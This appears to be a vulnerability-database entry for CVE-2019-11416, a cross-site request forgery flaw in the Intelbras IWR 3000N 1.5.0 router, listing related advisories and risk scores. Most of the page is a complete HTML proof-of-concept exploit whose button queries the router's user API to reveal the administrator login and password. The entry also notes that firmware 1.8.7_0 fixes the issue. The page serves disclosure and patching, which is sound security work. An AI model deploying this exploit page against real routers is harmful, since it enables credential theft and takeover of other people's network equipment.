Intelbras IWR 3000N 1.5.0 - Cross-Site Request Forgery

🗓️ 30 Apr 2019 00:00:00Reported by Social Engineering NeoType

Intelbras IWR 3000N 1.5.0 CSRF vulnerability and firmware upgrad

Reporter	Title	Published	Views	Family All 10
0day.today	Intelbras IWR 3000N 1.5.0 - Cross-Site Request Forgery Vulnerability	1 May 201900:00	–	zdt
CVE	CVE-2019-11416	21 Apr 201919:38	–	cve
Cvelist	CVE-2019-11416	21 Apr 201919:38	–	cvelist
EUVD	EUVD-2019-3091	7 Oct 202500:30	–	euvd
exploitpack	Intelbras IWR 3000N 1.5.0 - Cross-Site Request Forgery	30 Apr 201900:00	–	exploitpack
NVD	CVE-2019-11416	22 Apr 201911:29	–	nvd
OSV	CVE-2019-11416	22 Apr 201911:29	–	osv
Packet Storm	Intelbras IWR 3000N 1.5.0 Cross Site Request Forgery	30 Apr 201900:00	–	packetstorm
Prion	Cross site request forgery (csrf)	22 Apr 201911:29	–	prion
RedhatCVE	CVE-2019-11416	9 Jan 202610:11	–	redhatcve

<!--
    PoC based on CVE-2019-11416 created by Social Engineering Neo.

    Credit: https://1.337.zone/2019/04/08/intelbras-iwr-3000n-1-5-0-csrf-lead-to-router-takeover/

    Due to inexistent authorization on router API on authenticated IP addresses, an attacker can use this weak spot to change router configurations and take the current administrator password.

    Upgrade to latest firmware version iwr-3000n-1.8.7_0 for 3000n routers to prevent this issue.
-->

<!DOCTYPE html>
<html lang="en">
    <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <meta http-equiv="X-UA-Compatible" content="ie=edge">
            <title>IWR 3000N - CSRF on authenticated administrator</title>
    </head>
    <body>
        <button onclick="exploit()">Exploit!</button>
        <p>Click the button to get the login and password.</p>
        <script>
            function exploit(){
                $.get( "http://localhost:80/v1/system/user" )
                .done(( data ) => {
                    alert( data );
                })
                .fail(function( err, status) {
                    alert( status );
                });
            }
        </script>
        <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
    </body>
</html>

30 Apr 2019 00:00Current

8.9High risk

Vulners AI Score8.9

CVSS 38.8

CVSS 29.3

EPSS0.01382